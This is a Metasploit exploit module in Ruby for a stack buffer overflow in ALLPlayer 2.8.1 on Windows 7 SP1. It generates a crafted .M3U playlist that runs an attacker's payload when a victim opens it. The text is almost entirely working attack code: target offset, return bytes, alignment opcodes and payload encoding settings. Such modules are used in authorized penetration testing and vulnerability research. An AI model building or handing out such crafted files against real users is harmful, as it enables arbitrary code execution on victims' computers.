require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote 
  Rank = NormalRanking 
  
  include Msf::Exploit::FILEFORMAT
  
  def initialize(info = {}) 
    super(update_info(info, 
      'Name'           => 'ALLPlayer M3U Buffer Overflow', 
      'Description'    => %q{ 
          This module exploits a stack-based buffer overflow vulnerability in
        ALLPlayer 2.8.1, caused by a long string in a playlist entry. 
        By persuading the victim to open a specially-crafted .M3U file, a 
        remote attacker could execute arbitrary code on the system or cause 
        the application to crash. This module has been tested successfully on 
        Windows 7 SP1. 
      }, 
      'License'        => MSF_LICENSE, 
      'Author'         => 
        [ 
          'metacom',      
          'Mike Czumak',  
          'Gabor Seljan'  
        ], 
      'References'     => 
        [ 
          [ 'BID', '62926' ], 
          [ 'BID', '63896' ], 
          [ 'EDB', '28855' ], 
          [ 'EDB', '29549' ], 
          [ 'EDB', '29798' ], 
          [ 'EDB', '32041' ], 
          [ 'OSVDB', '98283' ], 
          [ 'URL', 'http://www.allplayer.org/' ] 
        ], 
      'DefaultOptions' => 
        { 
          'ExitFunction' => 'process'
        }, 
      'Platform'       => 'win', 
      'Payload'        => 
        { 
          'DisableNops'    => true, 
          'BadChars'       => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f", 
          'Space'          => 3060, 
          'EncoderType'    => Msf::Encoder::Type::AlphanumUnicodeMixed, 
          'EncoderOptions' => 
            { 
              'BufferRegister' => 'EAX'
            } 
        }, 
      'Targets'        => 
        [ 
          [ ' ALLPlayer 2.8.1 / Windows 7 SP1', 
            { 
              'Offset' => 301, 
              'Ret'    => "\x50\x45",  
              'Nop'    => "\x6e"       
            } 
          ] 
        ], 
      'Privileged'     => false, 
      'DisclosureDate' => 'Oct 09 2013', 
      'DefaultTarget'  => 0)) 
  
      register_options( 
        [ 
          OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']) 
        ], 
      self.class) 
  
  end
  
  
  def exploit 
    nop = target['Nop'] 
  
    sploit =  rand_text_alpha_upper(target['Offset']) 
    sploit << "\x61\x50"      
    sploit << target.ret 
    sploit << "\x53"          
    sploit << nop 
    sploit << "\x58"          
    sploit << nop 
    sploit << "\x05\x14\x11"  
    sploit << nop 
    sploit << "\x2d\x13\x11"  
    sploit << nop 
    sploit << "\x50"          
    sploit << nop 
    sploit << "\xc3"          
    sploit << nop * 109
    sploit << payload.encoded 
    sploit << rand_text_alpha_upper(10000) 
  
    
    print_status("Creating '#{datastore['FILENAME']}' file ...") 
    file_create("http://" + sploit) 
  
  end
end